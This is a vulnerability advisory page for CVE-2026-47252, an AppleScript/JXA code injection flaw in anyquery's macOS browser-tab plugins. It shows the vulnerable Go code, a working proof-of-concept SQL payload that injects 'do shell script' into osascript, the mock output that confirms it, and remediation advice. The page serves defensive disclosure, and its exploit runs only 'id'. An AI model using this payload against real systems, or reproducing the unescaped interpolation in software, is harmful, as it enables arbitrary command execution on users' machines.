NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

CVE-2026-47252 — chrome

CRITICALFix: julien040/anyquery@33769e0

CVE-2026-47252 is a critical-severity (CVSS 9) Code Injection vulnerability in github.com/julien040/anyquery/plugins/chrome. A fix is available for github.com/julien040/anyquery/plugins/chrome — see the affected versions and patch details below.

Anyquery: AppleScript/JXA Code Injection via Unescaped URL in macOS plugins (Brave, Chrome, Edge, Reminders, Safari)

Also known asGHSA-hrj8-hjv8-mgwcGO-2026-5436
Published
Updated
Affected
4 pkgs
Patched
4 / 4
Exploits
None indexed
Exploitation data as of Dec 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-47252.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs41th percentile — riskier than 41% of all scored CVEsHighest risk
0.00%0.40%0.80%1.21%0.7%0.7%0.4%0.4%Oct 26Dec 26Dec 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

4 pkgs affected
🐹github.com/julien040/anyquery/plugins/chrome🐹github.com/julien040/anyquery/plugins/brave🐹github.com/julien040/anyquery/plugins/edge🐹github.com/julien040/anyquery/plugins/safari

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin

FieldValue
Repositoryjulien040/anyquery
Affected version0.4.4 (commit 0abd460)
VulnerabilityCWE-94 — Improper Control of Generation of Code
SeverityHigh

Summary

The chrome_tabs plugin (and equivalent Brave/Edge/Safari variants) interpolates a SQL-controlled url value directly into an AppleScript template via fmt.Sprintf(newTabScript, url) at plugins/chrome/tabs.go:141 without any escaping, then passes the result to exec.Command("osascript", "-e", ...). An authenticated anyquery user who can issue SQL INSERT INTO chrome_tabs statements — which requires local CLI access — can break out of the {URL:"..."} property record with a newline-containing payload and inject arbitrary AppleScript statements, including do shell script, achieving OS-level command execution on the macOS host. The same pattern applies to the Update path at tabs.go:169 via the JXA setURL.js script.

Affected Code

plugins/chrome/tabs.go:141 — SQL-supplied url interpolated unescaped into AppleScript template, then executed via osascript -e

func (t *tabsTable) Insert(rows [][]interface{}) error {
	for _, row := range rows {
		url := "chrome://newtab/"
		if rawURL, ok := row[2].(string); ok {
			url = rawURL
		}

		cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, url))
		output, err := cmd.CombinedOutput()
		if err != nil {
			return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(newTabScript, url))
		}

	}

	return nil
}

plugins/chrome/tabs.go:169 — Update path interpolates url into JXA setURL.js template with identical lack of escaping

		if url != "" {
			cmd := exec.Command("osascript", "-l", "JavaScript", "-e", fmt.Sprintf(setURLScript, pk, url))
			output, err := cmd.CombinedOutput()
			if err != nil {
				return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(setURLScript, pk, url))
			}
		}

SQL INSERT url column (row[2]) flows through tabsTable.Insert → fmt.Sprintf(newTabScript, url) → exec.Command("osascript", "-e", <injected script>) at tabs.go:141.

Proof of Concept

Step 1 — Insert a newline-bearing URL via SQL: the generated AppleScript closes the {URL:"..."} property record and appends an injected do shell script "id" block, which is passed verbatim to osascript -e.

docker build -f Dockerfile -t anyquery-vuln001 .
docker run --rm anyquery-vuln001 'x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done'
SQL equivalent: INSERT INTO chrome_tabs (url) VALUES ('<INJECT_URL>')
where INJECT_URL =
x"}
end tell
do shell script "id"
tell application "Google Chrome"
	make new tab with properties {URL:"done
[sink:tabs.go:141] Script passed to osascript -e:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell
[mock-osascript] Received script:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell

RESULT: PASS — injection payload reached osascript -e verbatim; "do shell script \"id\"" present in generated script (tabs.go:141)

See attached files: Dockerfile, poc/inject_demo.go, poc/go.mod vuln-001.zip

Impact

Any local user authenticated to the anyquery CLI who can run SQL against the chrome_tabs virtual table can achieve arbitrary OS command execution on the macOS host with the privileges of the anyquery process. Because anyquery exposes its SQL interface over an HTTP server (accessible to any user who can reach the endpoint), this can be exploited by any client with INSERT or UPDATE access to the browser-tab plugins, without requiring Chrome credentials or macOS admin rights. The injected AppleScript runs under the user's macOS session, giving access to the file system, keychain prompts, and any application scriptable via Apple Events.

Remediation

Escape double-quote and newline characters in the url value before interpolation, or avoid string templating entirely. Specifically in plugins/chrome/tabs.go:

// Replace fmt.Sprintf(newTabScript, url) with:
safeURL := strings.ReplaceAll(url, `"`, `\"`)
safeURL = strings.ReplaceAll(safeURL, "\n", "")
safeURL = strings.ReplaceAll(safeURL, "\r", "")
cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, safeURL))

A more robust fix is to pass the URL as an AppleScript variable declared via a -e prefix argument rather than string-interpolating it into the script body, or to use the osascript argv mechanism so the URL never appears inside the script source. Apply the same fix to fmt.Sprintf(setURLScript, pk, url) at tabs.go:169 for the Update path. Validate that the URL conforms to an allowed scheme (https://, http://, chrome://) before passing it to either handler.

Affected Packages

4 total 4 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/julien040/anyquery/plugins/chromeall versions0.0.0-20240826075852-c651df0b8767go get github.com/julien040/anyquery/plugins/chrome@v0.0.0-20240826075852-c651df0b8767
🐹Gogithub.com/julien040/anyquery/plugins/braveall versions0.0.0-20240826075852-c651df0b8767go get github.com/julien040/anyquery/plugins/brave@v0.0.0-20240826075852-c651df0b8767
🐹Gogithub.com/julien040/anyquery/plugins/edgeall versions0.0.0-20240826075852-c651df0b8767go get github.com/julien040/anyquery/plugins/edge@v0.0.0-20240826075852-c651df0b8767
🐹Gogithub.com/julien040/anyquery/plugins/safariall versions0.0.0-20240826075852-c651df0b8767go get github.com/julien040/anyquery/plugins/safari@v0.0.0-20240826075852-c651df0b8767

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/julien040/anyquery/plugins/chrome, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/julien040/anyquery/plugins/chrome to 0.0.0-20240826075852-c651df0b8767 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-47252 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

# AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin | Field | Value | | ---------------- | ----- | | Repository | julien040/anyquery | | Affected version | 0.4.4 (commit 0abd460) | | Vulnerability | CWE-94 — Improper Control of Generation of Code | | Severity | High | ## Summary The `chrome_tabs` plugin (and equivalent Brave/Edge/Safari variants) interpolates a SQL-controlled `url` value directly into an AppleScript template via `fmt.Sprintf(newTabScript, url)` at `plugins/chrome/tabs.go:141` without any escaping, then passes the result to `
O3 Security · Impact-Aware SCA

Is CVE-2026-47252 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-47252: chrome RCE — Fix Available